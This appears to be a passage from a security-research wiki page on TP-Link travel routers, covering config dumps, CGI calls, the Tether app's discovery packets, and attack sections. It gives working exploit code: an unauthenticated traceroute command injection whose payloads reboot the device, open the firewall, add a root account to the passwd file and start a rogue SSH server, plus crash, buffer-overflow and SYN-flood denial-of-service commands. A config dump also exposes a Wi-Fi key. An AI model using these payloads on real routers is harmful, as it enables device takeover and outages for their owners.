ethernetBytesSent=0
ethernetBytesReceived=0
ethernetPacketsSent=0
ethernetPacketsReceived=0
ethernetErrorsSent=0
ethernetErrorsReceived=0
ethernetUnicastPacketsSent=0
ethernetUnicastPacketsReceived=0
ethernetDiscardPacketsSent=0
ethernetDiscardPacketsReceived=0
ethernetMulticastPacketsSent=0
ethernetMulticastPacketsReceived=0
ethernetBroadcastPacketsSent=0
ethernetBroadcastPacketsReceived=0
ethernetUnknownProtoPacketsReceived=0
[0,0,0,0,0,0]25
ethernetBytesSent=0
ethernetBytesReceived=0
ethernetPacketsSent=0
ethernetPacketsReceived=0
ethernetErrorsSent=0
ethernetErrorsReceived=0
ethernetUnicastPacketsSent=0
ethernetUnicastPacketsReceived=0
ethernetDiscardPacketsSent=0
ethernetDiscardPacketsReceived=0
ethernetMulticastPacketsSent=0
ethernetMulticastPacketsReceived=0
ethernetBroadcastPacketsSent=0
ethernetBroadcastPacketsReceived=0
ethernetUnknownProtoPacketsReceived=0
[0,0,0,0,0,0]26
ethernetBytesSent=0
ethernetBytesReceived=0
ethernetPacketsSent=0
ethernetPacketsReceived=0
ethernetErrorsSent=0
ethernetErrorsReceived=0
ethernetUnicastPacketsSent=0
ethernetUnicastPacketsReceived=0
ethernetDiscardPacketsSent=0
ethernetDiscardPacketsReceived=0
ethernetMulticastPacketsSent=0
ethernetMulticastPacketsReceived=0
ethernetBroadcastPacketsSent=0
ethernetBroadcastPacketsReceived=0
ethernetUnknownProtoPacketsReceived=0
[0,0,0,0,0,0]27
enable=0
interval=10
action=0
[0,0,0,0,0,0]28
enable=0
enableIcmpFilter=0
icmpThreshold=50
enableUdpFilter=0
udpThreshold=500
enableSynFilter=0
synThreshold=50
forbidLanPing=0
forbidWanPing=1
action=0
[0,0,0,0,0,0]29
enable=0
[0,0,0,0,0,0]30
TCRuleNumberOfEntries=0
enable=0
linkType=0
upTotalBW=0
downTotalBW=0
iptvEnable=0
iptvUpMinBW=0
iptvDownMinBW=0
voIPEnable=0
voIPUpMinBW=20
[0,0,0,0,0,0]31
pptpAlg=1
l2tpAlg=1
ipSecAlg=1
ftpAlg=1
tftpAlg=1
h323Alg=1
sipAlg=1
rtspAlg=1
hw_nat_enable=0
[0,0,0,0,0,0]32
enable=0
defaultAction=0
enalbeParentCtrl=0
parentMac=
[0,0,0,0,0,0]33
enable=0
defaultAction=0
[0,0,0,0,0,0]34
mechanism=2
associatedWanIfName=
enabled=0
localAddress=
associatedLanIfName=br0
[0,0,0,0,0,0]35
enabled=0
dynamic=0
remoteIPv6Address=
[0,0,0,0,0,0]36
enabled=0
dynamic=0
IPv4MaskLen=0
prefix=
prefixLen=0
borderRelayIPv4Address=
[0,0,0,0,0,0]37
enable=1
userAccountNumberOfEntries=0
physicalMediumNumberOfEntries=0
logicalVolumeNumberOfEntries=0
ready=1
[0,0,0,0,0,0]38
FTPCapable=1
supportedNetworkProtocols=SMB
supportedFileSystemTypes=FAT16,FAT32,NTFS
[0,0,0,0,0,0]39
targetPath=
[0,0,0,0,0,0]40
serverState=0
serverName=MediaShare:1
scanFlag=0
scanInterval=3600
[0,0,0,0,0,0]41
enable=1
anonymous=1
modified=0
[0,0,0,0,0,0]42
enable=1
portNumber=21
accessFromInternet=0
wanIP=0.0.0.0
modified=0
[0,0,0,0,0,0]43
mode=ETH
DSLL3ForwardingName=NO_INTERFACE
ETHL3ForwardingName=NO_INTERFACE
_3GL3ForwardingName=NO_INTERFACE
DSLL3IPv6ForwardingName=NO_INTERFACE
ETHL3IPv6ForwardingName=NO_INTERFACE
[0,0,0,0,0,0]44
enable=1
MACAddress=
ifName=eth0.2
[0,0,0,0,0,0]45
alias=
legality=0
illegalType=0
tcspStatus=1
[0,0,0,0,0,0]46
type=0
version=
releaseDate=
releaseLog=
url=
start=0
status=0
progress=0
[0,0,0,0,0,0]47
email=
passwd=
needUnbind=0
md5Crypt=0
[0,0,0,0,0,0]48
nickname=
role=-1
token=
ewebURL=
action=0
status=0
[0,0,0,0,0,0]49
enable=1
boundDomain=
tmpDomainName=
action=0
status=0
[0,0,0,0,0,0]50
domainName=
regDate=
isBind=0
[0,0,0,0,0,0]51
enable=1
errorType=0
[0,0,0,0,0,0]52
isIgnored=0
ignoredTime=0
[0,0,0,0,0,0]53
diagnosticsState=None
maximumResponseTime=0
minimumResponseTime=65535
averageResponseTime=0
failureCount=0
successCount=0
X_TP_PktSequence=0
X_TP_ResponseTime=0
X_TP_IPAddress=0.0.0.0
X_TP_Result=
X_TP_ConnName=
X_TP_IfName=
DSCP=0
dataBlockSize=64
timeout=100
numberOfRepetitions=2
host=0.0.0.0
interface=
[0,0,0,0,0,0]54
diagnosticsState=None
routeHopsNumberOfEntries=0
responseTime=0
maxHopCount=30
DSCP=0
dataBlockSize=64
timeout=5
numberOfTries=2
X_TP_HopSeq=0
X_TP_IPAddress=0.0.0.0
X_TP_Result=
X_TP_ConnName=
X_TP_IfName=
host=
interface=
[0,0,0,0,0,0]55
enable=1
internetGroupVlanID=2
internetGroupExtendID=0
internetGroupLanPort=255
internetGroupPriority=0
internetUntag=1
workingMode=
[0,0,0,0,0,0]56
disableIPv6=1
lastUsedWanConnection=
[0,0,0,0,0,0]57
online=0
[0,0,0,0,0,0]58
oneKeyRePressed=0
mode=Router
first_login=0
router_IPInterfaceIPAddress=
router_IPInterfaceSubnetMask=
[0,0,0,0,0,0]59
enable=0
IPAddress=
interval=10
delay=5
failCount=5
[1,2,0,0,0,0]60
__syncApStatus=0
__apLastStatus=3
enable=1
status=Up
name=wlan5
BSSID=98:DA:C4:6E:00:FB
channel=36
autoChannelEnable=0
X_TP_PreSSID=TP-Link
SSID=TP-Link_00FC_5G
beaconType=11i
MACAddressControlEnabled=0
X_TP_MACAddressControlRule=deny
X_TP_MACTableSize=0
X_TP_Configuration_Modified=0
X_TP_Band=5GHz
X_TP_Bandwidth=Auto
standard=ac
WEPKeyIndex=1
WEPEncryptionLevel=Disabled,40-bits,104-bits
basicEncryptionModes=None
basicAuthenticationMode=None
WPAEncryptionModes=TKIPandAESEncryption
WPAAuthenticationMode=PSKAuthentication
IEEE11iEncryptionModes=AESEncryption
IEEE11iAuthenticationMode=PSKAuthentication
X_TP_PreSharedKey=37490720
X_TP_GroupKeyUpdateInterval=0
possibleChannels=
basicDataTransmitRates=6,12,24,
operationalDataTransmitRates=1,2,5.5,11,6,9,12,18,
possibleDataTransmitRates=
SSIDAdvertisementEnabled=1
transmitPowerSupported=100,50,20
transmitPower=100
regulatoryDomain=DE
deviceOperationMode=InfrastructureAccessPoint
X_TP_RadiusServerIP=
X_TP_RadiusServerPort=1812
X_TP_RadiusServerPassword=
WMMEnable=1
X_TP_BeaconInterval=100
X_TP_RTSThreshold=2346
X_TP_FragmentThreshold=2346
X_TP_DTIMFrequency=1
X_TP_IsolateClients=0
X_TP_ShortGIEnable=1
totalAssociations=65
maxStaNum=32
X_TP_ShowRegionSelectionOnWeb=0
[error]0</syntaxhighlight>

</div>
</div>

<syntaxhighlight lang="JavaScript">// Firmware: 190428
var act_get_oid_list = ["IGD_DEV_INFO", "ETH_SWITCH", "SYS_MODE", "MULTIMODE"]
for(let i=0; i<act_get_oid_list.length; i++){
$.act(ACT_GET, act_get_oid_list[i]);
}
$.exe(null, false, 0);</syntaxhighlight>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="line-height:1.6;">ⓘ Example Results (50 lines) (includes "softwareVersion" version)</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="Bash">[0,0,0,0,0,0]0
manufacturer=TP-Link
manufacturerOUI=74DA88
modelName=TL-WR802N
description=TP-Link Wireless N Nano Router WR802N
productClass=IGD
serialNumber=74DA88FCC3AE
hardwareVersion=TL-WR802N v4 00000004
softwareVersion=0.9.1 3.17 v0001.0 Build 190428 Rel.63523n
modemFirmwareVersion=
enabledOptions=
additionalHardwareVersion=00000004
additionalSoftwareVersion=
specVersion=1.0
provisioningCode=
upTime=76
firstUseDate=
deviceLog=0x58801d6c
X_TP_HardwareID=FEDC62EBE64D50D422C775E201ADCE6F
X_TP_FirmwareID=E24EF98E8F388F5387CC7AEA4D362363
X_TP_HardwareDescription=TL-WR802N 4.0
X_TP_isFD=1
X_TP_DevManufacturerURL=http://www.tp-link.com
X_TP_DevModelVersion=4.0
X_TP_ProductID=134348804
X_TP_ProductVersion=1
X_TP_SoftwareRevision=1437205265
X_TP_SoftwareRevisionMinor=0
X_TP_PlatformVersion=2768242945
X_TP_BuildDate=190428
X_TP_BuildTime=63523
[0,0,0,0,0,0]1
enableVirtualPorts=0
numberOfVirtualPorts=4
ifName=eth0
[0,0,0,0,0,0]2
mode=ETH
DSLL3ForwardingName=NO_INTERFACE
ETHL3ForwardingName=NO_INTERFACE
_3GL3ForwardingName=NO_INTERFACE
DSLL3IPv6ForwardingName=NO_INTERFACE
ETHL3IPv6ForwardingName=NO_INTERFACE
[0,0,0,0,0,0]3
oneKeyRePressed=0
mode=Router
first_login=0
router_IPInterfaceIPAddress=192.168.0.1
router_IPInterfaceSubnetMask=255.255.255.0
router_ConnName=
[error]0</syntaxhighlight>

</div>
</div>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Download the server configuration</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">
// Firmware: 170828, 190428
$.ajax(
{
type: "POST",
url: "http://192.168.1.1/cgi/conf.bin?",
success:function(data) {
console.log(data);
},
error:function(errno) {
console.log(errno);
}
});</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Download the server logs</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Firmware: 170828
$.ajax({
type: "POST",
url: "/cgi/log?",
success: data => console.log(data)
});

/* Example Results
1970-01-01 00:00:14 [5] DHCPC: Send DISCOVER with request ip 0.0.0.0 and unicast flag 0
1970-01-01 00:00:16 [5] DHCPC: Send DISCOVER with request ip 0.0.0.0 and unicast flag 0
1970-01-01 00:00:19 [5] DHCPC: Send DISCOVER with request ip 0.0.0.0 and unicast flag 0
1970-01-01 00:00:20 [5] DHCPC: Recv OFFER from server 192.168.0.1 with ip 192.168.0.107
1970-01-01 00:00:21 [5] DHCPC: Send REQUEST to server 192.168.0.1 with request ip 192.168.0.107
1970-01-01 00:00:22 [5] DHCPC: Recv ACK from server 192.168.0.1 with ip 192.168.0.107 lease time 3600
1970-01-01 00:00:22 [5] DHCPC: Recv DNS server address 192.168.0.1,0,0,0,0
2020-06-28 22:48:18 [5] DHCPD: Recv REQUEST from XX:XX:XX:XX:XX:XX
2020-06-28 22:48:19 [5] DHCPD: Send ACK to 192.168.1.100*/</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Download any file from the Webserver</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Firmware: 170828, 190428
let __getFile = path => {
$.ajax({
type: "POST",
url: path,
success: data => console.log(data),
error: errno => console.log(errno)
});
};

__getFile("/cgi/info");</syntaxhighlight>

</div>
</div>

<h3>Code Injection</h3>
<div style="text-align: justify; margin-bottom: 5px">Similar to the already listed [https://www.cvedetails.com/cve/CVE-2019-15060/ CVE-2019-15060] concerning the TL-WR840N router with firmware 0.9.1 3.16, the traceroute function on the TP-Link TL-WR902AC v4 with firmware 0.9.1 0.1 (170828) is vulnerable to remote code execution via a crafted payload in an IP address input field. This again works totally unauthenticated from the login screen or via forget packet using cURL. The TL-WR802N with firmware 0.9.1 3.17 isn't affected anymore. While the [[#Denial-of-Service|DoS]] attack using the same traceroute function exists in both firmware versions.</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>Command Injection via CGI Examples</b> </div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">
// Inject Command
let __inject = command => {

let parameter = {host: ";"+command+";", X_TP_ConnName: "lo0"};

$.act(ACT_SET, TRACEROUTE_DIAG, null, null, parameter);
$.act(ACT_OP, ACT_OP_TRACERT);
$.exe();
}

// Reboot
__inject("reboot");
__inject("kill 1");

// Enable access to all service from WAN
// Web Interface fails due to wrong referer header
__inject("iptables -P INPUT ACCEPT");

// Add user to the passwd file
__inject("echo test:test:0:0:root:/:/bin/sh >> /var/passwd");

// Start another Dropbear instance on a different port
__inject("dropbear -p 2222 -r /var/tmp/dropbear/dropbear_rsa_host_key");</syntaxhighlight>

<syntaxhighlight lang="JavaScript">// Minified
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, {host: ";reboot;", X_TP_ConnName: "lo0"});
$.act(ACT_OP, ACT_OP_TRACERT);
$.exe();
</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first <code>;</code> is used to end the tracert command. The second ; is used to seperate any possibly attached tracert paramerters from the injected command.</div>

</div>
</div>

<h3>Denial-of-Service</h3>

<div style="text-align: justify; margin-bottom: 5px">There are several ways to make the device crash or misbehave.</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <h4 style="display: inline">Using Code Injection</h4></div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Crash device (Needs hard reset)
// Firmware: 170828 (no auth)
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, { host: ";" }); $.exe();</syntaxhighlight>

<syntaxhighlight lang="JavaScript">// Doesn't poweroff but crashes everything instead
// Firmware: 170828
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, { host: ";poweroff;" }); $.exe();</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <h4 style="display: inline">Using Buffer Overflow</h4></div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// This kills the httpd deamon (verified using UART) (restart httpd not working)
// Firmware: 170828 (no auth), 190428 (auth)
let __inject = command => {
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, {host: command, X_TP_ConnName: "lo0"});
$.act(ACT_OP, ACT_OP_TRACERT);
$.exe();
}

let buffer_size = 2046;
let buffer = "";

for(let i = 0; i < buffer_size; i++){
buffer += "X";
}

__inject(buffer);

/* Remaining services running
PORT STATE SERVICE VERSION
21/tcp closed ftp vsftpd 2.0.8 or later
22/tcp open ssh Dropbear sshd 2012.55
80/tcp closed http TP-LINK TD-W8968 http
1900/tcp open upnp Portable SDK for UPnP
139 /tcp closed netbios-ssn Samba smbd 3.X - 4.X
445/tcp closed netbios-ssn Samba smbd 3.0.14a
40955/tcp closed upnp Portable SDK for UPnP
*/</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <h4 style="display: inline">Using hPing</h4></div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="Bash"># TCP SYN FLOOD ATTACK
# Strongly affects the overall system performance and makes even a UART connection buggy
sudo hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.1

# Makes everything slower but no global denial of service
sudo hping3 -c 15000 -d 120 -S -w 64 -p 22 --flood --rand-source 192.168.1.1
sudo hping3 -c 15000 -d 120 -S -w 64 -p 21 --flood --rand-source 192.168.1.1
sudo hping3 -c 15000 -d 120 -S -w 64 -p 139 --flood --rand-source 192.168.1.1
sudo hping3 -c 15000 -d 120 -S -w 64 -p 445 --flood --rand-source 192.168.1.1
sudo hping3 -c 15000 -d 120 -S -w 64 -p 1900 --flood --rand-source 192.168.1.1
sudo hping3 -c 15000 -d 120 -S -w 64 -p 40955 --flood --rand-source 192.168.1.1</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <h4 style="display: inline">Using some odd CGI calls</h4></div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Also crashes the server (Dont know which oid)
// httpd still running but not responding anymore (doesnt kill any service)
var oid_list = [IGD, IGD_DEV_INFO, SYSLOG_CFG, MANAGEMENT_SERVER, ETH_SWITCH, SYS_CFG, NET_CFG, USER_CFG, CURRENT_USER, APP_CFG, HTTP_CFG, PH_DDNS_CFG, PH_RT_DATA, DYN_DNS_CFG, UPNP_CFG, UPNP_PORTMAPPING, DIAG_TOOL, CWMP_CFG, SNMP_CFG, NOIP_DNS_CFG, CMX_DNS_CFG, ACL_CFG, WAN_TYPE_DETECT, DMZ_HOST_CFG, TIME, HOUR, L3_FORWARDING, L3_FORWARDING_ENTRY, L3_IP6_FORWARDING, L3_IP6_FORWARDING_ENTRY, L2_BRIDGING, L2_BRIDGING_ENTRY, L2_BRIDGING_FILTER, L2_BRIDGING_INTF, LAN_DEV, LAN_HOST_CFG, LAN_IP_INTF, LAN_DHCP_STATIC_ADDR, LAN_DHCP_COND_SRV_POOL, LAN_DHCP_COND_SRV_POOL_OPT, YANDEX_DNS_POOL, LAN_IP6_HOST_CFG, LAN_IP6_INTF, LAN_ETH_INTF, LAN_HOSTS, LAN_HOST_ENTRY, LAN_WLAN, LAN_WLAN_WPS, LAN_WLAN_MACTABLEENTRY, LAN_WLAN_ASSOC_DEV, LAN_WLAN_BSSDESC_ENTRY, LAN_WLAN_WEPKEY, LAN_WLAN_WDSBRIDGE, LAN_WLAN_MULTISSID, LAN_WLAN_MSSIDENTRY, LAN_WLAN_MSSIDWEPKEY, MSSID_MACTABLEENTRY, LAN_WLAN_WLBRNAME, LAN_WLAN_TASK_SCHEDULE, LAN_WLAN_QUICKSAVE, LAN_WLAN_GUESTNET, LAN_IGMP_SNOOP, WAN_DEV, WAN_COMMON_INTF_CFG, WAN_DSL_INTF_CFG, WAN_DSL_INTF_STATS, WAN_DSL_INTF_STATS_TOTAL, WAN_DSL_AUTOPVC, WAN_DSL_AUTO_PVC_PAIR, WAN_ETH_INTF, WAN_ETH_INTF_STATS, WAN_PON, WAN_EPON_INTF, WAN_EPON_INTF_OAM_STATS, WAN_EPON_INTF_MPCP_STATS, WAN_EPON_INTF_STATS, WAN_EPON_INTF_OPTICAL_STATS, WAN_GPON_INTF, WAN_GPON_INTF_OMCI_STATS, WAN_GPON_INTF_STATS, WAN_GPON_INTF_OPTICAL_STATS, WAN_CONN_DEVICE, WAN_DSL_LINK_CFG, WAN_PON_LINK_CFG, WAN_ETH_LINK_CFG, WAN_USB_3G_LINK_CFG, USB_MODEM_PARAM, WAN_L2TP_CONN, WAN_L2TP_CONN_PORTMAPPING, L2TP_CONN_PORTTRIGGERING, WAN_L2TP_CONN_STATS, WAN_PPTP_CONN, WAN_PPTP_CONN_PORTMAPPING, PPTP_CONN_PORTTRIGGERING, WAN_PPTP_CONN_STATS, WAN_IP_CONN, WAN_IP_CONN_PORTMAPPING, IP_CONN_PORTTRIGGERING, WAN_PPP_CONN, WAN_PPP_CONN_PORTMAPPING, PPP_CONN_PORTTRIGGERING, WAN_PPP_CONN_STATS, STAT_CFG, STAT_ENTRY, DDOS_CFG, DOS_HOST, ARP, ARP_ENTRY, ARP_BIND, ARP_BIND_ENTRY, QUEUE_MANAGEMENT, CLASSIFICATION, QOS_APP, QOS_INTF, QOS_QUEUE, TC, TC_RULE, ALG_CFG, IPTV, DSL_IPTV_CFG, ETH_IPTV_CFG, FIREWALL, INTERNAL_HOST, EXTERNAL_HOST, TASK_SCHEDULE, RULE, URL_LIST, URL_CFG, IP6_FIREWALL, IP6_INTERNAL_HOST, IP6_EXTERNAL_HOST, IP6_TASK_SCHEDULE, IP6_RULE, IP6_TUNNEL, DSLITE, SIT_6RD, SERVICES, VOICE, XTP_VOICE_PROCESS_STS, XTP_VOICE_PROCESS, VOICE_CAP, VOICE_CAP_SIP, VOICE_CAP_MGCP, VOICE_CAP_CODECS, VOICE_PROF, VOICE_PROF_PROVIDER, VOICE_PROF_SIP, VOICE_PROF_SIP_EVTSUBSCRIBE, VOICE_PROF_MGCP, VOICE_PROF_RTP, VOICE_PROF_FAXT38, XTP_USB_VOICEMAIL_PUBLICCFG, XTP_MULTI_ISP, XTP_MULTIISP_CODEC, XTP_MULTIISP_CODEC_LIST, VOICE_PROF_LINE, VOICE_PROF_LINE_SIP, VOICE_PROF_LINE_XTPUSBVM, VOICE_PROF_LINE_CALLFEAT, VOICE_PROF_LINE_PROC, VOICE_PROF_LINE_CODEC, VOICE_PROF_LINE_CODEC_LIST, VOICE_PROF_LINE_STATS, XTP_FEATURE_CODE, VOICE_PHY_INTERFACE, VOICE_PHYINTERFACE_TESTS, XTP_VOICE_MULTI_ISPDIALPLAN, XTP_VOICE_PSTN, STORAGE_SERVICE, CAPABLE, USER_ACCOUNT, USB_DEVICE, LOGICAL_VOLUME, FOLDER_BROWSE, FOLDER_NODE, DLNA_MEDIA_SERVER, DLNA_MEDIA_SERVER_FOLDER, SMB_SERVICE, SMB_SERVICE_FOLDER, SMB_USER_ACCESS, FTP_SERVER, FTP_SERVER_FOLDER, FTP_USER_ACCESS, XTP_PRINT_SERVICE, XTP_IGD_CALL_FIREWALL_CFG, XTP_IGD_SPEED_DIAL_CFG, XTP_IGD_MULTI_ISP_DIAL_PLAN, XTP_IGD_MULTIISPDP_LIST, XTP_CALLLOGCFG, IPSEC, IPSEC_CFG, SYS_MODE, EWAN, USER_INFO, GPON_USER_INFO, GPON_AUTH_CTC, GPON_AUTH_SN, GPON_AUTH_PWD, GPON_MAC_INFO, GPON_FWD_RULE, GPON_LOCAL_RULE_ENTRY, GPON_REMOTE_RULE_ENTRY, GPON_OMCI_IOT, GPON_OMCI_IOT_ENTRY, GPON_OMCI_ME_ATTR, CLOUD_SERVICE, FW_UPGRADE_INFO, CLOUD_USER_ACCOUNT, OWNER_INFO, CURRENT_USER_INFO, CLOUD_DDNS, CLOUD_DDNS_ENTRY, WAN_BLOCK, WAN_ERROR_BLOCK, FW_UP_INFO_BLOCK, IPPING_DIAG, TRACEROUTE_DIAG, SDMZ_CFG, WEB_CFG, VLAN, ISP_SERVICE, WOL, WOL_ITEM, IPV6_CFG, SYS_STATE, IPV6_PASS_THROUGH, AUTO_REBOOT_CFG, CPU_MEM, PRODUCE_INFO, MULTIMODE, MULTIMODE_AP, AP_CONFIG_WEPKEY, AP_SNMP_CFG, MULTIMODE_CLIENT, MULTIMODE_RE, RE_CONFIG_WEPKEY, MULTIMODE_ROUTER, ROUTER_CONFIG_WEPKEY, ROUTER_CONFIG_MULTISSID, ROUTER_CONFIG_MSSIDENTRY, MULTIMODE_MSSID, MSSID_CONFIG_MULTISSID, MSSID_CONFIG_MSSIDENTRY, MULTIMODE_HOTSPOT, PING_WATCH_DOG, LED_CONTROL];

for(let i=0; i<oid_list.length; i++){
$.act(ACT_GL, oid_list[i]);
$.exe();
}</syntaxhighlight>

</div>
</div>

<h2>Mobile App</h2>

<h3>Tether</h3>

<div style="text-align: justify; margin-bottom: 5px">"TP-Link Tether provides the easiest way to access and manage your TP-Link Router/ xDSL Router/ Range Extender with your mobile devices. From quick setup to parental controls, Tether provides a simple, intuitive user interface to see your device status, online client devices and their privileges."</div>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The TP-Link tether app adopts SSH services and TCP port 22 is opened on supported TP-Link devices. However, these SSH Services are only available for TP-Link apps. Other SSH clients cannot access to TP-Link products or adjust their settings with command lines. <b>Source</b>: [[https://www.tp-link.com/us/support/faq/2462/ Support]]</div>

<table class="wikitable" style="width: 100%">
<tr>
<th style="text-align: left;">OS</th>
<th style="text-align: left;">Link</th>
</tr>
<tr>
<td>Android</td>
<td style="background-color: white">https://play.google.com/store/apps/details?id=com.tplink.tether</td>
</tr>
<td>IOS</td>
<td style="background-color: white">https://itunes.apple.com/us/app/tp-link-tether/id599496594?ls=1&mt=8</td>
</tr>
</table>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Requires in-depth investigation!</div>

[[File:Wireshark_tether_app_device_decovery.png|300px|right|thumb|Tether: Wireshark Device Discovery]]

<br>

<h4>Device Discovery</h4>

<div style="text-align: justify">Before establishing an SSH session, the Tether app sends an multicast discovery UDP packet to <code>255.255.255.255</code> on port <code>20002</code>. This message gets send 4 times. After that, the Tether app send another unicast message to responding devices on port <code>20002</code>. The syntax of the payload is mostly unclear, an change after a restart. Anyway a device will still respond to any payload captured at any time. I assume that this discovery process is used to get device capatibilities and to finally initialize a secure channel via SSH. How the SSH tunnel gets initiated is also unkown at this state of research. The Tether app uses [http://www.jcraft.com/jsch/ Java Secure Channel] client and the devices use a dropbear server for SSH connections.</div>

<br>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>Multicast Discovery Request</b></div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">
Internet Protocol Version 4, Src: 192.168.1.102, Dst: 255.255.255.255
User Datagram Protocol, Src Port: 54909, Dst Port: 20002
Data: 0100000200001101000001d235406ce6 (16 bytes)

// 0000 ff ff ff ff ff ff 3c 22 fb 9b fb 7e 08 00 45 00 ......<"...~..E.
// 0010 00 2c 16 ae 40 00 40 11 62 05 c0 a8 01 66 ff ff .,..@.@.b....f..
// 0020 ff ff d6 7d 4e 22 00 18 63 14 01 00 00 02 00 00 ...}N"..c.......
// 0030 11 01 00 00 01 d2 35 40 6c e6 ......5@l.</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>Multicast Discovery Response</b></div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.102
User Datagram Protocol, Src Port: 20002, Dst Port: 54909
Data: 0100000200b01201000001d2fdb65d9800010004c0a80101… (192 bytes)

// 0000 3c 22 fb 9b fb 7e 98 da c4 6e 00 fc 08 00 45 00 <"...~...n....E.
// 0010 00 dc 00 00 40 00 40 11 b6 59 c0 a8 01 01 c0 a8 ....@.@..Y......
// 0020 01 66 4e 22 d6 7d 00 c8 3e c8 01 00 00 02 00 b0 .fN".}..>.......
// 0030 12 01 00 00 01 d2 fd b6 5d 98 00 01 00 04 c0 a8 ........].......
// 0040 01 01 ff 00 00 00 00 06 00 04 ff ff ff 00 ff 00 ................
// 0050 00 00 00 02 00 11 39 38 3a 44 41 3a 43 34 3a 36 ......98:DA:C4:6
// 0060 45 3a 30 30 3a 46 43 ff 00 00 00 03 00 0c 54 50 E:00:FC.......TP
// 0070 2d 4c 69 6e 6b 5f 30 30 46 43 ff 00 00 00 00 04 -Link_00FC......
// 0080 00 04 00 0d c8 8f ff 00 00 00 00 05 00 0a 54 4c ..............TL
// 0090 2d 57 52 39 30 32 41 43 ff 00 00 08 00 04 00 00 -WR902AC........
// 00a0 00 01 ff 00 00 00 00 09 00 0e 57 69 72 65 6c 65 ..........Wirele
// 00b0 73 73 52 6f 75 74 65 72 ff 00 00 10 00 28 65 64 ssRouter.....(ed
// 00c0 63 38 37 66 37 39 37 32 37 31 39 66 66 33 36 64 c87f7972719ff36d
// 00d0 30 37 36 66 61 30 35 34 30 65 33 39 62 62 46 46 076fa0540e39bbFF
// 00e0 30 30 30 30 30 30 ff 00 00 00 000000....</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>Unicast Discovery Request</b></div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">Internet Protocol Version 4, Src: 192.168.1.102, Dst: 192.168.1.1
User Datagram Protocol, Src Port: 44794, Dst Port: 20002
Data: 0100000200001101000003e56b89a97b (16 bytes)

// 0000 98 da c4 6e 00 fc 3c 22 fb 9b fb 7e 08 00 45 00 ...n..<"...~..E.
// 0010 00 2c a6 c3 40 00 40 11 10 46 c0 a8 01 66 c0 a8 .,..@.@..F...f..
// 0020 01 01 ae fa 4e 22 00 18 53 fc 01 00 00 02 00 00 ....N"..S.......
// 0030 11 01 00 00 03 e5 6b 89 a9 7b ......k..{</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>Unicast Discovery Response</b> </div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.102
User Datagram Protocol, Src Port: 20002, Dst Port: 44794
Data: 0100000200b01201000003e56c37995b00010004c0a80101… (192 bytes)

// 0000 3c 22 fb 9b fb 7e 98 da c4 6e 00 fc 08 00 45 00 <"...~...n....E.
// 0010 00 dc 00 00 40 00 40 11 b6 59 c0 a8 01 01 c0 a8 ....@.@..Y......
